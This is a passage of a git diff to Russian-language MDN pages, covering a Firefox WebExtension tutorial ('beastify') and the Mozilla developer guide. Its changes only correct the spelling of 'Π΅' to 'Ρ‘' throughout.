+ <li><code>default_popup</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π°Ρ панСль Π±Ρ‹Π»Π° ΠΏΠΎΠΊΠ°Π·Π°Π½Π° ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΠΎ ΠΊΠ½ΠΎΠΏΠΊΠ΅. Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ использовали этот ΠΊΠ»ΡŽΡ‡ ΠΈ ΠΎΠ½ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° HTML Ρ„Π°ΠΉΠ», ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ дополнСнию.</li>
</ul>
</li>
<li><code><a href="/ru/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources">web_accessible_resources</a></code> пСрСчисляСт Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ доступными для Π²Π΅Π±-страниц. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ замСняСт содСрТимоС страницы Π½Π° изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Π»ΠΈ вмСстС с Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эти изобраТСния доступными для страницы.</li>
@@ -130,9 +130,9 @@ cd beastify</pre>
<h3 id="Π’ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π°Ρ_панСль">Π’ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π°Ρ панСль</h3>
-<p>Ѐункция ΠΏΠ°Π½Π΅Π»ΠΈ - ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π·Π²Π΅Ρ€Π΅ΠΉ.</p>
+<p>Ѐункция ΠΏΠ°Π½Π΅Π»ΠΈ - ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π·Π²Π΅Ρ€Π΅ΠΉ.</p>
-<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ с ΠΈΠΌΠ΅Π½Π΅ΠΌ "popup" Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ дополнСния. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сохраним ΠΊΠΎΠ΄ для ΠΏΠ°Π½Π΅Π»ΠΈ. ПанСль Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²:</p>
+<p>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ с ΠΈΠΌΠ΅Π½Π΅ΠΌ "popup" Π² ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ дополнСния. Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ сохраним ΠΊΠΎΠ΄ для ΠΏΠ°Π½Π΅Π»ΠΈ. ПанСль Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ²:</p>
<ul>
<li><strong><code>choose_beast.html</code></strong> опрСдСляСт содСрТимоС ΠΏΠ°Π½Π΅Π»ΠΈ</li>
@@ -167,7 +167,7 @@ cd beastify</pre>
<h4 id="choose_beast.css">choose_beast.css</h4>
-<p>CSS фиксируСт Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‡Ρ‚ΠΎ Ρ‚Ρ€ΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Π·Π°ΠΏΠΎΠ»Π½ΡΡŽΡ‚ пространство ΠΈ Π΄Π°Π΅Ρ‚ ΠΈΠΌ основной ΡΡ‚ΠΈΠ»ΡŒ:</p>
+<p>CSS фиксируСт Ρ€Π°Π·ΠΌΠ΅Ρ€ Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‡Ρ‚ΠΎ Ρ‚Ρ€ΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π° Π·Π°ΠΏΠΎΠ»Π½ΡΡŽΡ‚ пространство ΠΈ Π΄Π°Ρ‘Ρ‚ ΠΈΠΌ основной ΡΡ‚ΠΈΠ»ΡŒ:</p>
<pre class="brush: css">html, body {
width: 100px;
@@ -200,7 +200,7 @@ cd beastify</pre>
<h4 id="choose_beast.js">choose_beast.js</h4>
-<p>Π’ JavaScript для Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π° ΠΌΡ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ события click. Если click Π±Ρ‹Π» Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π½Π°ΡˆΠΈΡ… ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Ρ…, ΠΌΡ‹ добавляСм content script Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ content script загрузится, ΠΌΡ‹ отправляСм Π΅ΠΌΡƒ сообщСниС с Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹ΠΌ:</p>
+<p>Π’ JavaScript для Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΎΠΊΠ½Π° ΠΌΡ‹ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ события click. Если click Π±Ρ‹Π» Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π½Π°ΡˆΠΈΡ… ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹Ρ…, ΠΌΡ‹ добавляСм content script Π² Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ content script загрузится, ΠΌΡ‹ отправляСм Π΅ΠΌΡƒ сообщСниС с Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΌ ΠΆΠΈΠ²ΠΎΡ‚Π½Ρ‹ΠΌ:</p>
<pre class="brush: js">/*
Учитывая имя звСря, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ URL ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ изобраТСния.
@@ -286,7 +286,7 @@ function removeEverything() {
}
/*
-Учитывая URL изобраТСния звСря, создаСт ΠΈ стилизуСт ΡƒΠ·Π΅Π» IMG,
+Учитывая URL изобраТСния звСря, создаёт ΠΈ стилизуСт ΡƒΠ·Π΅Π» IMG,
ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° это ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π·Π°Ρ‚Π΅ΠΌ вставляСт ΡƒΠ·Π΅Π» Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.
*/
function insertBeast(beastURL) {
@@ -307,7 +307,7 @@ browser.runtime.onMessage.addListener(beastify);
<ul>
<li>удаляСт ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΈΠ· <code>document.body</code></li>
- <li>создаСт <code>&lt;img&gt;</code> элСмСнт, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ URL, ΠΈ вставляСт элСмСнт Π² DOM</li>
+ <li>создаёт <code>&lt;img&gt;</code> элСмСнт, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ URL, ΠΈ вставляСт элСмСнт Π² DOM</li>
<li>удаляСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ сообщСний.</li>
</ul>
@@ -344,13 +344,13 @@ browser.runtime.onMessage.addListener(beastify);
manifest.json</pre>
-<p>Начиная с Firefox 45 Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ дополнСния с ТСсткого диска.</p>
+<p>Начиная с Firefox 45 Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ дополнСния с Тёсткого диска.</p>
<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ "about:debugging" Π² Firefox, ΠΊΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ "Π—Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅", ΠΈ Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚Π΅ Π’Π°Ρˆ Ρ„Π°ΠΉΠ» manifest.json. ПослС этого Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΠΊΠΎΠ½ΠΊΡƒ дополнСния Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Firefox:</p>
<p>{{EmbedYouTube("sAM78GU4P34")}}</p>
-<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π²Π΅Π±-страницу, Π·Π°Ρ‚Π΅ΠΌ Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΈΠΊΠΎΠ½ΠΊΡƒ, Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ звСря ΠΈ посмотритС ΠΊΠ°ΠΊ страница измСнится:</p>
+<p>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π²Π΅Π±-страницу, Π·Π°Ρ‚Π΅ΠΌ Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΈΠΊΠΎΠ½ΠΊΡƒ, Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ звСря ΠΈ посмотритС ΠΊΠ°ΠΊ страница измСнится:</p>
<p>{{EmbedYouTube("YMQXyAQSiE8")}}</p>
diff --git a/files/ru/mozilla/developer_guide/index.html b/files/ru/mozilla/developer_guide/index.html
index f670a1e0de..81ec0a3996 100644
--- a/files/ru/mozilla/developer_guide/index.html
+++ b/files/ru/mozilla/developer_guide/index.html
@@ -3,7 +3,7 @@ title: Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°
slug: Mozilla/Developer_guide
translation_of: Mozilla/Developer_guide
---
-<p>Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ способов ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρƒ Mozilla: ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ, ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ инструмСнты ΠΈΠ»ΠΈ процСсс сборки, ΡƒΠ»ΡƒΡ‡ΡˆΠ°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ. Π—Π΄Π΅ΡΡŒ Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, которая Π½Π΅ просто ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π’Π°ΠΌ ΡΡ‚Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ сообщСства Mozilla, Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π΄Π°ΠΆΠ΅ Ссли Π’Ρ‹ ΡƒΠΆΠ΅ ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΉ участник сообщСства Mozilla.</p>
+<p>Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ способов ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρƒ Mozilla: ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ ΠΈΠ»ΠΈ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ, ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ инструмСнты ΠΈΠ»ΠΈ процСсс сборки, ΡƒΠ»ΡƒΡ‡ΡˆΠ°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ. Π—Π΄Π΅ΡΡŒ Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, которая Π½Π΅ просто ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π’Π°ΠΌ ΡΡ‚Π°Ρ‚ΡŒ Ρ‡Π°ΡΡ‚ΡŒΡŽ сообщСства Mozilla, Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π΄Π°ΠΆΠ΅ Ссли Π’Ρ‹ ΡƒΠΆΠ΅ ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΉ участник сообщСства Mozilla.</p>
<div class="row topicpage-table">
<div class="section">
@@ -34,7 +34,7 @@ translation_of: Mozilla/Developer_guide
<dt><a class="internal" href="/en-US/docs/Code_snippets" title="en-US/docs/Code_snippets">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°</a></dt>
<dd>ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡΡΠ½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, ΠΈΠ»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ основой для дальнСйшСго развития ΠΊΠΎΠ΄Π°.</dd>
<dt><a class="internal" href="/en-US/docs/Mozilla_Development_Strategies" title="en-US/docs/Mozilla Development Strategies">Π‘Ρ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Mozilla</a></dt>
- <dd>Подсказки ΠΊΠ°ΠΊ максимальной пользой ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ врСмя ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π½Π°Π΄ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Mozilla.</dd>
+ <dd>Подсказки ΠΊΠ°ΠΊ максимальной пользой ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ врСмя ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ Π½Π°Π΄ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠΌ Mozilla.</dd>
<dt><a class="internal" href="/en-US/docs/Debugging" title="en-US/docs/Debugging">ΠžΡ‚Π»Π°Π΄ΠΊΠ°</a></dt>
<dd>ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅ подсказки ΠΈ руководства ΠΏΠΎ ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅ исходного ΠΊΠΎΠ΄Π° Mozilla.</dd>
<dt><a href="/en-US/docs/Performance" title="en-US/docs/Performance">ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ</a></dt>
@@ -46,7 +46,7 @@ translation_of: Mozilla/Developer_guide
<dt><a href="/en-US/docs/Developer_Guide/Interface_Compatibility" title="en-US/docs/Developer Guide/Interface Compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ интСрфСйсов</a></dt>
<dd>Руководство ΠΏΠΎ измСнСнию скриптового ΠΈ Π±ΠΈΠ½Π°Ρ€Π½ΠΎΠ³ΠΎ APIΒ  Π² Mozilla.</dd>
<dt><a href="/en-US/docs/Developer_Guide/Customizing_Firefox" title="en-US/docs/Developer Guide/Customizing Firefox">ΠšΠ°ΡΡ‚ΠΎΠΌΠΈΠ·Π°Ρ†ΠΈΡ Firefox</a></dt>
- <dd>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ создании ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠΉ кастомизированной вСрсии Firefox.</dd>
+ <dd>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ создании ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠΉ кастомизированной вСрсии Firefox.</dd>
<dt><a href="/en-US/docs/Developer_Guide/Virtual_ARM_Linux_environment" title="Virtual ARM Linux environment">Π’ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Π² ARM Linux</a></dt>
<dd>Как Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ARM эмулятор с Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΌ Linux, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ARM спСцифичный ΠΊΠΎΠ΄. Π­Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ²Β  ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройств.</dd>
<dt><a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="Obsolete Build Caveats and Tips">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ подсказки ΠΈ совСты для сборки</a></dt>
@@ -77,7 +77,7 @@ translation_of: Mozilla/Developer_guide
<dt><a href="https://treeherder.mozilla.org/perf.html">Perfherder</a></dt>
<dd>Perfherder is used to aggregate the results of automated performance tests against the tree.</dd>
<dt><a class="internal" href="https://wiki.developer.mozilla.org/en-US/docs/Crash_reporting" title="en-US/docs/Crash reporting">Crash tracking</a></dt>
- <dd>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ <a class="link-https" href="https://crash-reports.mozilla.com/reports">Socorro</a> - систСмС ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ² ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</dd>
+ <dd>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ <a class="link-https" href="https://crash-reports.mozilla.com/reports">Socorro</a> - систСмС ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ² ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ….</dd>
<dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Developer_Guide/Callgraph" title="en-US/docs/Developing Mozilla/Callgraph">Callgraph</a></dt>
<dd>A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.</dd>
<dt><a href="https://www.mozilla.org/en-US/about/forums/">Developer forums</a></dt>
diff --git a/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html b/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html
index 4e02cc082f..69b8a2c05b 100644
--- a/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html
+++ b/files/ru/mozilla/developer_guide/inner_and_outer_windows/index.html
@@ -35,9 +35,9 @@ translation_of: Mozilla/Developer_guide/Inner_and_outer_windows
<p>На этой Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ взаимодСйствуСтС нСпосрСдствСнно Π² DOM (Ρ‚.Π΅. {{ domxref("Window") }}, {{ domxref("Document") }}, ΠΈ {{ domxref("Element") }}, ΠΈΠΌΠ΅ΡŽΡ‚ синий Ρ†Π²Π΅Ρ‚. Π‘Π΅Ρ€Ρ‹Π΅ ΠΊΡ€ΡƒΠ³ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Π±ΠΎΠ»Π΅Π΅ абстрактныС Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ΠΈ внСшниС ΠΎΠΊΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ Π½Π΅ взаимодСйствуСтС Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с DOM. Окно Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹ - это внСшнСС ΠΎΠΊΠ½ΠΎ.</p>
-<p>По ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пСрСмСщаСтся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°ΠΌΠΊΠ°Ρ…, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· этих Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ΠΎΠΊΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΈ Π½Π°Π·Π°Π΄, ΠΊΠ°ΠΊ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅.</p>
+<p>По ΠΌΠ΅Ρ€Π΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ пСрСмСщаСтся Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°ΠΌΠΊΠ°Ρ…, ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΈΠ· этих Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ΠΎΠΊΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈ Π½Π°Π·Π°Π΄, ΠΊΠ°ΠΊ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ΅.</p>
